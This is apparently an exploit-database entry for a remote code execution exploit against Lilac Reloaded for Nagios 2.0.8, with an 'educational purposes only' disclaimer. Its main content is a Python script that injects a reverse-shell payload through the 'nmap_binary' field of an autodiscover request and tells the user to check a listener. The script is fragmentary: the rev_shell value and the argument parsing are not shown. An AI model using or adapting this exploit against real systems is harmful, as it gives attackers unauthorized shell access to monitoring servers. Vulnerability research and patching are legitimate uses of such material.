Exploits / Vulnerability Discovered : 2023-04-20 |
Type : webapps |
Platform : php
This exploit / vulnerability Lilacreloaded for nagios 2.0.8 remote code execution (rce) is for educational purposes only and if it is used you will do on your own risk!
body = {"request":"autodiscover","job_name":"HackThePlanet","job_description":"HackThePlanet","nmap_binary":rev_shell,"default_template":"","target[2]":"1.1.1.1"}
try:
r = requests.get(args.url)
if r.ok:
print("[+] URL looks good...moving forward...")
print("[+] Sending exploit in...")
r = requests.post(args.url,data=body)
if r.ok:
print("[+] Got HTTP 200, check your listener!")
else:
print("[-] Some kind of error happened, check the http response below!")
print(r.text)
except Exception as e:
print("General exception: " + str(e))
Lilacreloaded for nagios 2.0.8 remote code execution (rce)